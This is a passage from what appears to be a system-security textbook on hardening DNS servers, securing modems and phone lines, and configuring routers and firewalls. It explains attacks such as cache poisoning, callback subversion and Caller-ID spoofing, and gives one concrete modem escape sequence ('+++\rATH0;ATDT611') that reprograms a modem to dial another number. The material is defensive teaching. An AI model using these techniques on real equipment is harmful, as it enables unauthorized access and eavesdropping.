- Make sure that the database server is backed up, physically protected, and maintained in the same way as your other secure servers.

Protection of the database is also necessary. When defining database users and access privileges, follow the principle of least privilege. If a CGI script only needs read access to a single table in a database, define a user with privileges restricted to only allow the necessary access and have the script connect with that user. Some database software allows you to define very fine-grained permissions for users – in some cases, you can grant or restrict access to individual columns or rows in a given table, or provide different access to users based on where or how they connect. Take advantage of these protections.

Securing DNS Name Servers

Organizations rely on their DNS servers to provide accurate hostname-to-ip address (and ip address-to-hostname and hostname-to-hostname) translations for other systems on the Internet. Because every domain on the Internet must have an authoritative name server, and because the addresses of these name servers must be public to be useful, DNS servers are a natural point of attack for an intruder. Because many applications use hostnames as the basis for access control lists, an attacker who can gain control of your DNS nameserver or corrupt its contents often leverage that to break into your systems.

Besides individual hostname resolutions, DNS also provides a system for downloading a copy of the entire database from a nameserver. This process is called a *zone transfer*, and this is the process that secondary servers use to obtain a copy of the primary server's database.

DNS communicates over both UDP and TCP. Because UDP is a quick, packet-based protocol that allows for limited data transfer, it is typically used for the actual process of hostname resolution. TCP, meanwhile, is most commonly used for transactions that require large, reliable, and sustained data transfer—that is, zone transfers. However, individual queries can be made over TCP as well.

DNS zone transfers

Zone transfers can be a security risk, as they potentially give outsiders a complete list of all of an organization's computers connected to the internal network. Many sites choose to allow UDP DNS packets through their firewalls and routers, but explicitly block DNS zone transfers originating at external sites. This design is a compromise between safety and usability: it allows outsiders to determine the IP addresses of each internal computer, but only if the computer's name is already known.

You can block zone transfers with a router that can screen packets by blocking incoming TCP connections on port 53.[237] Modern versions of the BIND nameserver implement an *allow-transfers* directive that allows you to specify the IP addresses of hosts that are allowed to perform zone transfers. This option is useful if you wish to allow zone transfers to a secondary nameserver that is not within your organization, but you don't want to allow zone transfers to anyone else.

DNS nameserver attacks

There are three fundamental ways that an attacker can cause a nameserver to serve incorrect information:
Loading erroneous information
Incorrect information can be fraudulently loaded into your nameserver's cache over the network, as a false reply to a query. This is often referred to as *cache poisoning*.
If your nameserver has contact with the outside network, there is a possibility that attackers can exploit a programming bug or a configuration error to load your nameserver with erroneous information. The best way to protect your nameserver from these kinds of attacks is to isolate it from the outside network, so that no contact is made. If you have a firewall, you can achieve this isolation by running two nameservers: one in front of the firewall, and one behind it. The nameserver in front of the firewall contains only the names and IP addresses of your gateway computer; the nameserver behind the firewall contains the names and IP addresses of all of your internal hosts. If you couple these nameservers with static routing tables, damaging information will not likely find its way into your nameservers. (Of course, depending on how you have built your firewall and what you allow your users to do on the network, this may not be a workable solution!)
Changing the configuration files
An attacker can change the nameserver's configuration files on the computer where your nameserver resides. To change your configuration files, an attacker must have access to the filesystem of the computer on which the nameserver is running and be able to modify the files. After the files are modified, the nameserver must be restarted. As the nameserver must typically be started as the superuser, an attacker would need to have superuser access on the server machine to carry out this attack. Unfortunately, by having control of your nameserver, a skillful attacker could use that control as a stepping stone to control of your entire network. Furthermore, if the attacker does not have superuser access but can modify the nameserver files, then he can simply wait until the nameserver is restarted by somebody else, or until the system crashes and every program is restarted.
Using dynamic DNS
Modern DNS servers have facilities for dynamically updating DNS tables. This feature is very useful when IP addresses are dynamically assigned or shared among large numbers of people. Dynamic DNS allows a running DNS server to have its DNS tables updated without manually uploading a domain text file and asking the server to restart. However, an attacker can use the DNS dynamic update facility to provide your DNS server with a fraudulent update.
To be secure, dynamic DNS updates must be properly authenticated — otherwise, an attacker could attack your system by simply changing the mapping between your domain names and IP addresses. Most dynamic DNS servers

[237] In rare cases, this may also block DNS queries, which are also permitted to use TCP.

make provisions for authentication by IP address (only certain IP addresses are allowed to provide updates), through the use of a shared key, or through the use of updates that are signed with a public key algorithm. In general, combining IP source address with one of the two cryptographic techniques provides for the highest level of security.

If you enable dynamic DNS and it is not correctly implemented, an attacker may use it to update your server without your permission. Many domain name servers suffer a constant stream of fraudulent dynamic DNS update attacks.

DNSSEC

DNSSEC (RFC 2535 and 3130) is an extension to DNS that provides for the creation of a DNS-based Public Key Infrastructure (PKI) and the use of this infrastructure in the signing of DNS responses. DNSSEC is an interesting protocol. Proponents have argued convincingly that the use of DNSSEC provides an easy way to bootstrap a global PKI that is not dependent upon certificates sold at high prices by centralized certificate authorities. Unfortunately, because of its populist nature and the fact that nobody really makes money when DNS-SEC servers are deployed, there has been very little move to deploy DNSSEC on a widespread scale. You can minimize the possibility of an attacker's modifying or subverting your nameserver by following these recommendations:

- Run your nameserver on a special computer that does not have user accounts.
- If you must run the nameserver on a computer that is used by ordinary users, make sure that the nameserver's files and directories are protected from other users. If your nameserver can be configured to run as a nonprivileged user (as modern versions of BIND can), you should take advantage of this option and keep the nameserver's files accessible only to that user.
- If your nameserver can be configured to run in a *chroot jail* area of the filesystem (as modern versions of BIND can), you can use this option to limit its access to other files on your host.
- Configure your nameserver to ignore requests from bogus IP ranges (such as 10.0.0.0/8 if your subnet doesn't use these addresses). In BIND, the *blackhole* directive in *named.conf* can be used to do this.
- Configure your nameserver not to perform recursive DNS queries for outsiders. In a recursive query, if your DNS server can't find the information for the client, it issues its own queries to try to resolve it. When recursive queries are not allowed, it is up to the client to do the followup work. Recursive queries consume nameserver resources, and should not be performed for outsiders. In BIND, the *allow-recursion* directive controls which client hosts may request a recursive query.
- If you know of a specific site that is attempting to attack your nameserver, you can use BIND's *bogusns* directive to prevent the program from sending nameserver queries to that host, or add the site to your firewall.
- If you use dynamic DNS updating facilities, require that updates be appropriately encrypted or cryptographically signed. Do not rely on IP addresses for appropriate authentication.

CHAPTER 7.
NETWORK SECURITY

At a Glance

Few computers are standalone workstations; most are connected to other computers via modems, networks, or wireless communications. This chapter discusses security issues for administrators configuring computers to participate in networks. First, it examines how the computer connects to the network, with special attention to modems, routers, and wireless access. Then it focuses on network security issues for networks using TCP/IP, the predominant networking protocol on both local area networks and the Internet.

Modems

In this age of the Internet, there are still many reasons to be concerned about with the security of modems and dialup services. Because dialup services are easy to set up and cheap to maintain, there are many that are still in operation — some of which have been in operation for a decade or more. Likewise, even with the wide availability of local area networks and high-speed connections, there are many reasons that you might wish to set up your own modem-based network connections. If people in your organization want to use the computer from their homes after hours or on weekends, a modem will allow them to do so. Administrators can do some remote maintenance and administration when they are "on call." If some people in your organization travel infrequently, or if they travel to rural areas, they might want to use a modem to access the computer when they're out of town, particularly if nationwide Internet service is not available or secure.

Despite these benefits, modems come with many risks. Because people routinely use modems to transmit their usernames and passwords, you should ensure that your modems and terminal servers are properly installed, behaving properly, and doing exactly what you think they are doing—and nothing else. Furthermore, because dialup services can be set up with a simple analog phone line or even a cell phone, they can be enabled by an individual without the knowledge or the authorization of an organization's management.

Modems are a remote access technology born of the 1960s, first deployed in the 1970s, and popularized in the 1980s and 1990s. Nevertheless, modems are still very much a part of the computing landscape today. Attackers know that they can break into many otherwise defended networks by finding modems that have not been properly secured. For this reason, security professionals must be familiar with modem security issues.

Modems and Security

Modems raise a number of security concerns because they create links between your computer and the outside world. Modems can be used by individuals inside your organization to remove confidential information. Modems can be used by people outside your organization to gain unauthorized access to your computer. If your modems can be reprogrammed or otherwise subverted, they can be used to trick your users into revealing their passwords. And, finally, an attacker can eavesdrop on a modem communication.

Despite the rise of the Internet, modems remain a popular tool for breaking into large corporate networks. The reason is simple: while corporations closely monitor their network connections, modems are largely unguarded and unaudited. To maximize security, modems should be provided by the organization and administered in a secure fashion.

The first step is to protect the modems themselves. Be sure they are located in a physically secure location, so that no unauthorized individual can access them. The purpose of this protection is to prevent the modems from being altered or rewired. Some modems can have altered microcode or passwords loaded into them by someone with appropriate access, and you want to prevent such occurrences. You might make a note of the configuration switches (if any) on the modem, and periodically check them to be certain they remain unchanged.

Many modems sold these days allow remote configuration and testing. This capability makes changes simpler for personnel who manage several remote locations. It also makes abusing your modems simpler for an attacker. Therefore, be certain that such features, if present in your modems, are disabled.

The next most important aspect of protecting your modems is to protect their telephone numbers. Treat the telephone numbers for your modems the same way you treat your passwords: don't publicize them to anyone other than those who have a need to know. Making the telephone numbers for your modems widely known increases the chances that somebody might try to use them to break into your system. If your telephone system permits, change your modem numbers yearly, and request numbers that don't share the same prefix as your voice phones.

Unfortunately, you cannot keep the telephone numbers of your modems absolutely secret. After all, people do need to call them. And even if you were extremely careful with the numbers, an attacker could always discover the modem numbers by dialing every telephone number in your exchange. For this reason, simple secrecy isn't a solution; your modems need more stringent protection.

Banners

A *banner* is a message that is displayed by a modem (or the computer to which the modem is connected) when it is called. Some banners are displayed by the answering system before the caller types anything; other banners are displayed only after a person successfully authenticates.

Banners improve the usability of a system by letting the callers know that they have reached the correct system. They can also include any necessary legal disclosures or notices. Unfortunately, banners can also be used by attackers: an attacker who scans a telephone exchange or a city can use banners to determine which organization's modems they have found. Avoid including the name of your organization, phone numbers or other contact information, or any information about your computer's operating system in the banner. You should also avoid any word that expresses "welcome", as this may be interpreted as an invitation to unauthorized users.

Here are some recommendations for what to put into your banner:

- State that unauthorized use of the system is prohibited and may be prosecuted. (Do not say that unauthorized use will be prosecuted. If some unauthorized users are prosecuted when others are not, the users who are prosecuted may be able to claim selective enforcement of this policy.)
- State that all users of the system may be monitored.
- Tell the user that he is agreeing to be monitored as a condition of using the computer system.
- In some cases, it is acceptable to display no welcome banner at all.

Security Schemes

With today's telephone systems, if you connect your computer's modem to an outside telephone line, then anybody in the world can call it.

Although usernames and passwords provide a degree of security, they are not fool-proof. Users often pick bad passwords, and even good passwords can occasionally be guessed or discovered by other means. For this reason, a variety of special kinds of modems and modem use schemes have been developed that further protect computers from unauthorized access.

Password modems
These modems require the caller to enter a password before the modem connects the caller to the computer. As with regular system passwords, the security provided by these modems can be defeated by repeated password guessing or by having an authorized person release his password to somebody who is not authorized. Usually, these modems can only store one to ten passwords. The password stored in the modem should not be the same as the password of any user.

Callback setups
A *callback scheme* is one in which an outsider calls your machine, connects to the modem, and provides some form of identification. The system then severs the connection and calls the outsider back at a predetermined phone number. Call-back enhances security because the system will dial only preauthorized numbers, so an attacker cannot get the system to initiate a connection to his or her modem. Most callback modems can only store a few numbers to call back.

To operate properly, callback systems must completely disconnect the incoming call before placing the outgoing call. This can be surprisingly difficult on many phone lines, so it's better to use a different set of modems for the outgoing calls than are used to receive the incoming calls.

It is possible to subvert a callback system that uses two modems. If the attacker has subverted a phone company switch, he can install call-forwarding on the phone number that the callback modem is programmed to dial, and forward those calls back to his modem. Callback schemes can enhance your system's overall security, but you should not depend on them as your primary means of protection

Encrypting modems
These modems, which must be used in pairs, encrypt all information transmitted and received over the telephone lines. Encrypting modems offer an extremely high degree of security not only against individuals attempting to gain unauthorized access, but also against wiretapping. Some encrypting modems contain preassigned cryptographic "keys" that work only in pairs. Other modems contain keys that can be changed on a routine basis, to further enhance security. Many of the benefits afforded by encrypting modems can be had for less money by using cryptographic protocols over standard modems, such as SSH over a PPP connection.

Caller-ID
In many areas, you can purchase an additional telephone service called Caller-ID (CNID). As its name implies, Caller-ID identifies the phone number of each incoming telephone call. The phone number is usually displayed on a small box next to the telephone when the phone starts ringing. Many modems support Caller-ID directly. When these modems are properly programmed, they will provide Caller-ID information to the host computer when the information is received over the telephone lines.

There are many ways that you can integrate Caller-ID with your remote access services:
- Some remote access systems can be programmed to accept the Caller-ID information directly and log the information for each incoming call along with the time and the username that was provided. The vast majority of remote access systems that support telephone lines delivered over ISDN Basic Rate, ISDN PRI, and T1 Flex-Path circuits include support for logging Caller-ID information in RADIUS accounting log files.[238]

[238] RADIUS, the Remote Authentication Dial In User Service, is a protocol designed to allow terminal servers to authenticate dial-up users against a remote database. It is described in RFC 2138.

- Caller-ID can be very useful for tracking down perpetrators after a break-in. Unlike a username and password, which can be stolen and used by an unauthorized individual, Caller-ID information almost always points back to the actual source of an attack.
- If your remote access system does not handle Caller-ID, you can set up a second modem in parallel with the first on the same line. Program your computer to answer the first modem on the third or fourth ring. Use a third-party Caller-ID logging program to capture the Caller-ID information from the second modem. You will then need to manually combine the two logs.
- ISDN and some other telephone systems offer yet another service called Restricted Calling Groups, which allows you to specify a list of phone numbers that are allowed to call your telephone number. All other callers are blocked.

Advanced telephone services such as these are only as secure as the underlying telephone network infrastructure: many corporate telephone systems allow the corporation to determine what Caller-ID information is displayed on the telephone instrument of the person being called — even for calls that terminate on other parts of the public switched telephone network. Attackers who have control of a corporate telephone system could program it to display whatever phone number they desire, potentially bypassing any security system that depends solely on Caller-ID or Restricted Calling Groups.

Physical intervention schemes
When modems are connected to hardware to allow off-site technicians to remotely maintain or troubleshoot it, you certainly want to prevent unauthorized users from connecting to these modems and reconfiguring your equipment. One simple and effective approach is to leave the modems unplugged from the phone line, and require off-site technicians to call your operator before performing maintenance (or, better yet, the reverse, to make social engineering attacks less feasible.) The operator connects the phone line for the technician's work (and notes this in a log book), and disconnects it thereafter.

One-Way Phone Lines

Many sites set up their modems and telephone lines so that they can both initiate and receive calls. This may seem like an economical way to make the most use of your modems and phone lines. However, this approach introduces significant security risks. Outgoing modems can be used to make free phone calls at your expense. When both inbound and outbound calls are allowed on the same modems, attackers can subvert callback systems or tie up your outbound lines by using them for inbound connections.

Your system will be more secure if you use separate modems for inbound and outbound traffic. In most environments the cost of the extra phone lines is minimal compared to the additional security and functionality provided by line separation.

You may further wish to routinely monitor the configuration of your telephone lines to check for the following conditions:
- Check to make sure that telephone lines that are not used to call long-distance telephone numbers cannot, in fact, place long-distance telephone calls. Don't subscribe to long-distance service.
- Check to make sure that telephone lines used only for inbound calls cannot place outbound calls.
- Check to make sure that telephone lines used only for outgoing calls cannot receive calls. Call forwarding is a typical way to insure this.

Protection of Modems and Lines

Although physical protection is often overlooked, protecting the physical access to your telephone line is as important as securing the computer to which the telephone line and its modem are connected.

Be sure to follow these guidelines:

Protect physical access to your telephone line
Be sure that your telephone line is physically secure. Lock all junction boxes. Place the telephone line itself in an electrical conduit, pulled through walls or at least located in locked areas. An intruder who gains physical access to your telephone line can attach his or her own modem to the line and intercept your telephone calls before they reach your computer. By spoofing your users, the intruder may learn their login names and passwords. Instead of intercepting your telephone calls, an intruder might simply monitor them, making a transcript of all of the information sent in either direction. In this way, the intruder might learn passwords not only to your system, but also to all of the systems to which your users connect.

Make sure incoming telephone lines do not allow call forwarding
If your telephone can be programmed for call forwarding, an intruder can effectively transfer all incoming telephone calls to a number of his choosing. If there is a computer at the new number that has been programmed to act like your system, your users might be fooled into typing their usernames and passwords.

Have your telephone company disable third-party billing
Without third-party billing, people can't bill their calls to your modem line.

Consider using a leased line
If all your modem usage is to a single outside location, consider getting a leased line. A leased line is a dedicated circuit between two points provided by the phone company. It acts like a dedicated cable and cannot be used to place or receive calls. As such, it allows you to keep your connection with the remote site, but it does not allow someone to dial up your modem and attempt a break-in. Leased lines are more expensive than regular lines in most places, but the security may outweigh the cost. Leased lines offer another advantage: you can usually transfer data much faster over leased lines than over standard telephone lines.

Testing Modems

After a modem is connected, you should thoroughly test its ability to make and receive telephone calls. First, make sure that the modem behaves properly under normal operating circumstances. Next, make sure that when something unexpected happens, the computer behaves in a reasonable and responsible way. For example, if a telephone connection is lost, your computer should kill the associated processes and log the user out, rather than letting the next person who dials in access the previous command interpreter. Most of this testing will ensure that your modem's control signals are being properly sent to the computer (so that your computer knows when a call is in progress), as well as ensuring that your computer behaves properly with this information.

Originate testing

If you have configured your modem to place telephone calls, you need to verify that it always does the right thing when calls are placed as well as when they are disconnected. To test your modem, you must call another computer that you know behaves properly. (Do not place a call to the same computer that you are trying to call out from; if there are problems, you may not be able to tell where the problem lies.)

Test as follows:

1. Try calling the remote computer with a terminal emulation program. Each time the computer answers, you should get a login prompt. You should be able to log in and use the remote computer as if you were connected directly.
2. Hang up on the remote computer by pulling the telephone line out of the originating modem. Your terminal program should realize that the connection has been lost.
3. Call the remote computer again and this time hang up by turning off your modem. Again, your program should realize that something is wrong.
4. Call the remote computer again. This time, leave the telephone connection intact and exit your program. Your modem should automatically hang up on the remote computer.
5. Call the remote computer one last time. This time, do a software disconnect by killing the terminal process on your local computer (either from another terminal or with the Task Manager on Windows systems.) Once again, your modem should automatically hang up on the remote computer.

Other things to check for dialing out include:

- Make sure there is no way to enter your modem's programming mode by sending an escape sequence. An *escape sequence* is a sequence of characters that lets you reassert control over the modem and reprogram it. Most modems that use the *"AT"* command set (originally developed by the Hayes modem company), for example, can be forced into programming mode by allowing a three-second pause; sending three plus signs (+), the default escape character, in quick succession; and waiting another three seconds. If your modem prints "OK," then your modem's escape sequence is still active. Many Unix modem control programs disable the modem's escape sequence, but some do not. On some modems, for example, sending the sequence "+++\rATH0;ATDT611" causes the modem to hang up the phone and dial "611," the universal number for telephone repair. (While some modems require a 3-second pause between the "+++" and the "\r", other modems do not, because the 3-second pause was patented by Hayes, and many modem vendors chose not to license the patent.)
  If your modem's escape sequence is not disabled, consult your modem documentation or contact your modem vendor to determine how to disable the sequence. This step may require you to add some additional initialization sequence to the modem software or to set some configuration switches.
- Verify that your modems lock out concurrent access properly. Be sure that there is no way for one user to access a modem that is currently in use by another user.

If the terminal program does not exit when the telephone is disconnected, or if it is possible to return the modem to programming mode by sending an escape sequence, a user may be able to make telephone calls that are not logged. A user might even be able to reprogram the modem, causing it to call a specific phone number automatically, no matter what phone number it was instructed to call. At the other end, a Trojan horse might be waiting for your users.

If the modem does not hang up the phone when the program exits, it can result in abnormally high telephone bills. Perhaps more importantly, your user might remain logged into the remote machine. The next person who uses the program might gain access to that first user's account on the remote computer.

Answer testing

To test your computer's answering ability, you need another computer or terminal with a second modem to call your computer.

Test as follows:

1. Call your computer. It should answer the phone on the first few rings and offer a login banner. If your modem is set to cycle among various baud rates, you may need to press the BREAK or linefeed key on your terminal a few

times to synchronize the answering modem's baud rate with the one that you are using. You should not press BREAK if you are using a modem that automatically selects baud rate.
2. Log in as usual. Then log out. Your computer should hang up the phone.
3. Call your computer and log in a second time. This time, hang up the telephone by pulling the telephone line out of the originating modem. This action simulates having the phone connection accidentally broken. Call your computer back on the same telephone number. You should get a new banner. You should *not* be reconnected to your old shell or session; that shell should have had its process destroyed when the connection was broken. The system must automatically log you out when the telephone connection is broken. Otherwise, if the telephone is accidentally hung up and somebody else calls your computer, that person will be able to type commands as if he were a legitimate user, without ever having to log in or enter a password.
4. If you have several modems connected to a hunt group (a pool of modems where the first non-busy one answers, and all calls are made to a single number), make sure that the group hunts properly. Many don't—which results in callers getting busy signals even when there are modems available. Some stop hunting if they connect to a failed modem, rendering the rest of the group inaccessible.

Protecting Against Eavesdropping

Modems are susceptible to eavesdropping and wiretapping. Older modems, including data modems that are slower than 9600 baud and most fax modems, can be readily wiretapped using off-the-shelf hardware. Higher-speed modems can be eavesdropped upon using moderately sophisticated equipment that, while less readily available, can still be had for, at most, thousands of dollars.

Kinds of eavesdropping

There are basically six different places where a telephone conversation over a modem can be tapped. At your premises, an attacker can place a second modem or tape recorder in parallel with your existing instruments. Outside your window, it's possible to determine the information being sent over modems by analyzing the flashing of their transmit data and receive data lights. Between your premises and the telephone company central office, wires can be spliced. At the telephone company switch, a programmer can install an undetectable tap on a computer switch, or splice the line on a manual switch. If the call is routed over a satellite or microwave link, the radio transmission can be decoded. Finally, at the call's destination, a wiretap can be installed.

Eavesdropping countermeasures

There are several measures that you can take against electronic eavesdropping, with varying degrees of effectiveness:

Visually inspect your telephone line
Look for spliced wires, taps, or boxes that you cannot understand. Most eavesdropping by people who are not professionals is easy to detect.

Have your telephone line electronically "swept"
Using a device called a signal reflectometer, a trained technician can electronically detect any splices or junctions on your telephone line. Junctions may or may not be evidence of taps; in some areas, many telephone pairs have multiple arms that take them into several different neighborhoods. If you do choose to sweep your line, you should do so on a regular basis. Detecting a change in a telephone line that has been watched over time is easier than looking at a line one time only and determining if the line has a tap on it.

Sweeping may not detect certain kinds of taps, such as digital taps conducted by the telephone company for law enforcement agencies or other organizations, nor will it detect inductive taps.

Use cryptography

The best way to protect your communications from eavesdropping is to assume that your communications equipment is already compromised and to encrypt all the information as a preventative measure. If you use a dialup connection to the Internet, you can use cryptographic protocols such as SSL and SSH to form a crypto-graphic barrier that extends from your computer system to the remote server. VPN systems such as point-to-point tunneling protocol (PPTP) and IPsec can also be used to encrypt all communications between your computer and a remote server.

A few years ago, cryptographic telephones or modems cost more than $1,000 and were only available to certain purchasers. Today, there are devices costing less than $300 that fit between a computer and a modem and create a cryptographically secure line. Most of these systems are based on private key cryptography and require that the system operator distribute a different key to each user. In practice, such restrictions pose no problem for most organizations. But there are also a growing number of public key systems that offer simple-to-use security that's still of the highest caliber. There are also many affordable modems that include built-in encryption and that require no special unit to work.

Preventing Unauthorized Modems with Telephone Scanning and Telephone Firewalls

Many organizations have policies that forbid the installation and operation of modems without specific permission from the site security manager. Each authorized modem is then audited on a regular basis to assure that it is correctly configured and that it complies with the site's policies regarding banners, usernames, passwords, and so forth.

Because it is so easy to install a modem, many organizations have modems of which they are unaware. There are two ways to deal with the threat of these so-called *rogue* modems: telephone scanning and telephone firewalls.

Telephone scanning

You can use a program called a *telephone scanner* to locate unknown and unauthorized modems. A telephone scanner systematically calls every telephone number in a pre-defined range and notes the banners of the systems that answer. Some telephone scanners can be programmed to attempt to break into the computer systems that they find by using a predetermined list of usernames and passwords. There are both free and commercial telephone scanners available with a wide range of options. Additionally, some computer consulting firms will perform telephone scanning as part of a security audit.

Telephone firewalls

In some situations, the risk of penetration by modem is so high that simply scanning for unauthorized modems is not sufficient. In these situations, you may wish to use a *telephone firewall* to mediate telephone calls between your organization and the outside world.

Similar to an Internet firewall, a telephone firewall is a device that is placed between your telephone system and an outside communications circuit. Typically, a telephone firewall is equipped with multiple ports for digital T1 telephone lines: instead of plugging a PBX into a T1 from a telephone company, the PBX is plugged into the telephone firewall, and the firewall is plugged into the exterior T1s.

A telephone firewall analyzes the content of every telephone conversation. If it detects modem tones originating or terminating at an extension that is not authorized to operate a modem, the call is terminated and the event is logged. Telephone firewalls can also be used to control fax machines, incoming phone calls, and even unauthorized use of long-distance calls and the use of 800 numbers and 900 services.

Limitations of scanning and firewalls

It is important to realize that neither telephone scanning nor telephone firewalls can do more than detect or control modems that use telephone lines that you know about. Suppose that your organization has a specific telephone exchange: in all likelihood, you will confine your telephone scanning and telephone firewall to that exchange. If some worker orders a separate telephone line from the phone company and pays for that line with his own funds, that phone number will not be within your organization's telephone exchange and will, therefore, not be detected by telephone scanning. Nor will it be subject to a telephone firewall. A cell phone connected to a modem is also not going to be within your defined exchange.

In many cases, the only way to find rogue telephone lines is through a detailed physical inspection of wiring closets and other points where external telephone lines can enter an organization. In an environment that is rich with authorized wireless devices, it can be even harder to find unauthorized wireless devices.

Networks

Although telephone modems are still widely used to connect computers, millions of computers are connected to one another through higher-speed networks. From a practical viewpoint, computer users today usually divide the world of networking into two halves:

Local area networks
LANs are high-speed networks used to connect computers at a single location. Although the original Ethernet network was a broadcast network that sent high-frequency transmissions over a coaxial cable, today the term Ethernet is widely taken to refer to a twisted-pair network assembled with hubs or switches that can transmit information at speeds of 10, 100, or 1,000 Mbps. Wireless networks that operate over a relatively short range—within an office or home—also constitute "local area networks." The protocols involved in either case are defined in standards developed by the Institute of Electrical and Electronics Engineers (IEEE).

Two computers can also be directly connected to each other with a serial line. IP packets are then sent using PPP (Point-to-Point Protocol), SLIP (Serial Line Internet Protocol), or CSLIP (Compressed SLIP). If each computer is, in turn, connected to a local area network, the serial line can bridge together the two LANs.

Wide area networks
WANs are typically slower-speed networks that organizations use to connect their LANs. WANs are often built from leased telephone lines and long-distance data circuits (which may transit satellite links, microwave connections, and fiber optic cables) capable of moving data at speeds between 56 Kbps and gigabits per second. A WAN might bridge a company's offices on either side of a town or on either side of a continent. Some WANs are shared by several organizations.

A special kind of WAN link that's become increasingly popular is the Virtual Private Network (VPN). The VPN is a virtual network because the packets travel over the Internet (or some other public network); it's a private network because the data in the packets is encrypted to prevent anyone on the public network from reading it or tampering with it. A VPN can connect multiple locations much more cheaply than leasing lines between them.

One of the first computer networks was the ARPANET, developed in the early 1970s by universities and corporations working under contract to the U.S. Department of Defense's Advanced Research Projects Agency (ARPA or DARPA). The ARPANET linked computers around the world and served as a backbone for many other regional and campus-wide networks that sprang up in the 1980s.

Today, the descendant of the ARPANET is known as the Internet. The Internet is an IP-based network that encompasses hundreds of millions of computers and more than a billion users throughout the world. Some of these computer systems are constantly connected, while others are connected only intermittently. Any one of those users can try to send you electronic mail, exchange files with your FTP file server, or break into your system—if your system is configured to allow them the access necessary to do so.

Gateways and Routers

Despite the complexity of the Internet and IP addressing, computers can easily send each other messages across the global network. To send a packet, most computers simply set the packet's destination address and then send the packet to a computer on their local network called a gateway. If the gateway makes a determination of where to send the packet next, the gateway is a router. The router takes care of sending the packet to its final destination by forwarding the packet to a directly connected gateway that is (supposed to be) one step closer to the destination host.

Many organizations configure their internal networks as a large tree. At the root of the tree is the organization's connection to the Internet. When a gateway receives a packet, it decides whether to send it to one of its own subnetworks or direct it towards the root. Out on the Internet, major IP providers have far more complicated networks with sophisticated routing algorithms and specialized routing protocols. Many of these providers have redundant networks so that if one link malfunctions, other links can take over.

Small office and home users can easily purchase 4-port and 8-port Ethernet routers that are designed to connect to a broadband DSL or cable modem connection and route packets between the home computers and the broadband modem (and from thence to the Internet). An important feature of these devices (and one that is also supported by high-end routers) is *Network Address Translation* (NAT). NAT is a general system for translating IP addresses in data packets received by the router to other addresses before (or after) the packet's destination is chosen by the router and the packet is sent out to that destination. It is most commonly used to allow several internal computers with private (nonroutable) IP addresses to share a single external (public) IP address, or to translate public IP addresses for groups of computers into corresponding private IP addresses on an internal network. Because the internal IP addresses cannot be reached directly from the public Internet (because no other routers will be able to correctly route them), NAT schemes provide some protection against outsiders initiating connections to internal machines, while still making it possible for the internal machines to initiate and maintain connections to the Internet.

A second feature of high-end routers is the ability to establish a Virtual Private Network (VPN) between two LANs in separate locations (e.g., two branch offices). Pairs of routers create VPNs between them using protocols like IPsec, and then route traffic between the LANs through the VPN rather than over the unprotected Internet.

Routers often represent the border of an organization's network security perimeter, as well as a point of vulnerability. If a router is subverted, attackers can redirect packets intended for the organization elsewhere, or gain inappropriate access to internal hosts or network layout information. Each router vendor offers different programming features, which can make securing routers a challenge. A recommended practice is to insure that routers can only be programmed by those with physical access (to a terminal connected by a serial cable, for example), and not through the network. Router configuration menus should always be password-protected, and if routers are to be SNMP-managed, read access to the router should be password-protected and write access disabled.

Borders routers should be equipped with *egress filters* so that they will not send packets out of a network unless the packet has a valid source IP address located within the network. They should also be configured with *ingress filters* to insure that packets claiming to be from within the network will not be accepted on the router's external interface and routed into the network.

External Firewalls

A firewall is a device that is designed to prevent traffic from flowing between two networks, with the exception of traffic passing through designated "holes" in the firewall.

Firewalls are typically divided into two types: packet filters and application gateways. Packet-filtering firewalls intercept and analyze network data packets and determine if they should be allowed to pass through the firewall or not. Traditional packet-filtering firewalls are relatively simple-minded. They can allow, deny, or otherwise mangle packets using the information contained in the packet's headers, such as source and destination addresses and ports, and packet flags like SYN.

Packet filters that perform *stateful inspection* keep track of the state of each connection passing through the firewall and may examine the contents of each packet in greater detail in order to determine whether they "belong" to a particular connection. For example, a stateful firewall can identify an FTP data transfer connection, determine that it is associated with an existing FTP control connection, and allow it, while disallowing a new inbound connection on the same port.

An application gateway operates at the application level of the network, rather than the packet level, and is typically built of several *proxies* for application services to be provided. Rather than connect to the organization's web server itself, outsiders might connect to the firewall's web server proxy operating on port 80. The proxy software insures that the connection is appropriate, may validate the data stream, and then passes it on to the actual internal web server; the proxy is similarly responsible for relaying the outbound data from the web server back to the client.

Some policies that an external firewall might be used to implement include:

- Disallow all incoming traffic by default, but permit a few exceptions, such as allowing anyone to make an HTTP connection to port 80, and a list of predefined hosts to make an SSH connection to port 22. This "deny everything that isn't permitted" approach is a recommended security practice.
- Allow outgoing HTTP connections to anywhere on the Internet, but only allow incoming connections to a few select hosts.
- Log firewall violations for later analysis.

Several (very good) books on firewalls are available that discuss their design and deployment in depth, including how to organize multiple firewalls to partition the network into a subnetwork of hosts that outsiders can access (often called the "demilitarized zone") and a subnetwork of hosts that are protected from outsiders. Especially recommended are Cheswick, Bellovin, and Rubin's 2003 book *Firewalls and Internet Security: Repelling the Wily Hacker, Second Edition*, and Zwicky, Cooper, and Chapman's 2000 book *Building Internet Firewalls, Second Edition*.

Host-Based Firewalls

Many systems, including most Unix systems and recent Microsoft systems, contain a built-in packet filter. Some, like Linux 2.4's *netfilter* component, provide stateful inspection of packets as well. The firewall is controlled with rules that are loaded into the kernel at runtime. Rules can block or allow packets to flow based on packet type, host, protocol, and even packet-level flags. Guidelines for configuration of host-based packet filters are largely the same as those for external firewalls.

The rules that you add to the kernel with a packet-level firewall are in addition to any access control rules that you might implement within network applications, with the *tcpwrapper* system (discussed below),or with any external firewall that may be protecting the network that the host is on. The kernel-level firewall can give you an additional layer of protection and is an important part of a defense-in-depth strategy.

The primary disadvantage of packet-level firewalls is that they consume some CPU power; this can be a special concern on systems that are heavily loaded and in cases where the rule sets are very long — the added CPU requirements may be more than your system can handle! For most situations, however, packet-level firewalls do not place an excessive burden on the system. For example, an Intel-based 486 running at 33Mhz with a free Unix kernel can easily handle the traffic of a fully-loaded T1 or DSL line.

Most host-based firewalls allow you to configure rules that will apply to incoming packets destined for the host, outgoing packets leaving the host, or packets being forwarded by a host that is serving as a gateway. Filtering incoming packets is an important way to restrict access to network services. Filtering outgoing packets can limit accidental exposure of important system resources and configuration information, and can reduce the damage that can be done if the machine should be compromised by a Trojan. It can also help enforce policies on acceptable network use, but sufficiently knowledgeable users can often tunnel connections through outbound filters.
